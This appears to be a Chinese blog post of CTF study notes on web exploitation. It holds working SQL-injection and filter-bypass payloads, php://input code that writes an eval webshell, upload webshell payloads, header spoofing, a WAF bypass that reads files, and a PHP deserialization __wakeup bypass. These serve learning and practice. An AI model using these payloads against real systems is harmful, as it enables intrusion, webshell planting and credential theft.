学习轨迹 9

敏感文件

dirsearch:

python dirsearch.py -u 网址 -e*

index.php
index.php.bak
robots.txt
.phps
www.zip
URL/db/db.mdb

.xx.swp

在使用vim编辑过程中如果异常退出编辑,比如不小心碰到了电源键。但是你编辑的东西不会丢失而是系统帮你生成一个.swp的缓存文件(格式为.文件名.swp)第二次意外退出时为.swo,第三次为.swn,所以根据题目描述就可以访问.xx.swp的文件(注意最前面多个.)。
恢复文件内容的方法:执行“vim 文件名”命令的目录下创建一个名字相同的文件夹“touch 文件名”“cat 文件名(此时为空)”再使用“vim -r 文件名”命令。然后"cat 文件名"就能看见被缓存的内容了


sql注入

1'or 1=1#

1'group by 1#

1'union select 1,database(),3 #

1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek' #

1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='geek' and table_name='geekuser'#

1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#

1'union select 1,group_concat(id,'~',username,'~',password),3 from l0ve1ysq1#

过滤

查看报错时,near之后的句子开头存在错误或者之前存在错误,发现过滤

or

大小写、等价替换、双写
or替换||and替换&&=替换like


1' OR 1=1#
1' || 1=1#
1'  oorr 1=1#

双写

1' order bbyy 1# //by被过滤
1' oorrder bbyy 1# //or、by都被过滤
-1' ununionion selselectect 1,2,database()# //union、select被过滤
-1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#  
//union、select、or、from、where被过滤


include文件包含

php伪协议

php://filter用于读取源码。
php://input用于执行php代码

  • 以base64编码的方式读取指定文件的源码:
    file=php://filter/convert.base64-encode/resource=文件路径

  • 输入file=php://input,然后使用burp抓包,写入php代码:
    input

    <?php system("ls /"); ?>
    <?php system("cat /flag"); ?>
    
    生成包含一句话木马的文件:
    <?php fwrite(fopen("shell.php","w"),'<?php @eval($_POST[123]);?>')?>
    

http

referer: https://Sycsecret.buuoj.cn   //从哪跳转
X-Forwarded-For:127.0.0.1   //本地访问
Cookie:user=1    //一般为管理员身份,guest身份为0

文件上传

image/png jpeg
php phtml

GIF89a
<script language="php">eval($_POST["shell"]);</script>
<?php @eval($_POST["shell"]); ?>

PHP字符串解析漏洞 & WAF

calc.php? num=2;var_dump(scandir(chr(47)))  //chr(47)='/'
f1agg
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) //用`.`连接

php在解析字符串时只做两件事:

  • 删除空白符
  • 将某些字符转换为下划线(包括空格)
    /?%20news[id%00=42会转换为Array([news_id] => 42)

绕过WAF

  • num前加一个空格
  • HTTP请求走私
    Content-Length: 9
    Content-Length: 9
    
    num=1
    
    在这里插入图片描述

encodeURLComponent函数

这个函数使url编码,url中的特殊字符(, / ? : @ & = + $ #)都进行编码,该方法不会对ASCII字母和数字进行编码,也不会对这些ASCII标点符号进行编码: - _ . ! ~ * ’ ( ) 。

详情
  • num只能传数字和运算符号,不能输字母
    在num前加一个空格,这样可以让WAF认为“ num”不是“num”,但是在绕过WAF之后进行php解析时就会省略那个空格。
  • scandir()以数组形式,返回指定目录的文件和目录
  • var_dump()输出变量的相关信息
  • file_get_contents()把整个文件读入一个字符串中
  • chr()函数绕过“/”和字母
  • var_dump()可以换成print_r()

反序列化漏洞

详细说明

根据源代码构造:
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize($select);
echo $res;
?>

输出结果:

O:4:“Name”:2:{s:14:" Name username";s:5:“admin”;s:14:" Name password";s:3:“100”;}

有4个空字符需要用%00代替,讲属性数量+1来绕过反序列化中的__wakeup:

payload: /?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

常见的几个魔法函数:
    __construct()当一个对象创建时被调用
    __destruct()当一个对象销毁时被调用
    __toString()当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup将在序列化之后立即被调用
    __get()用于从不可访问的属性读取数据

class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s);
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}

PHP弱类型比较漏洞

<?php
var_dump(1=="1");         //bool(true)
var_dump(123=='123asd');  //bool(true)
var_dump("1"==true);      //bool(true)
var_dump("0"==false);     //bool(true)
var_dump(-1 == true);     //bool(true)
var_dump(true=="php");    //bool(true)
var_dump(0==NULL);        //bool(true)
var_dump(0=="php");       //bool(true)
var_dump(0=="");          //bool(true)
var_dump(NULL==false);    //bool(true)
var_dump(""==false);      //bool(true)
var_dump(array()==false); //bool(true)
var_dump(array()==NULL);  //bool(true)
?>

is_numberic()函数漏洞

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。

strcmp()函数漏洞

//字符串比较区分大小写
int strcmp ( string $str1 , string $str2 )

如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0
如果两者相等,返回 0。
当传入其它类型的的时候比如数组(在变量后面加[ ],money[ ]=1)或者不是字符串的话,类会发生报错信息,同时也会return 0

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值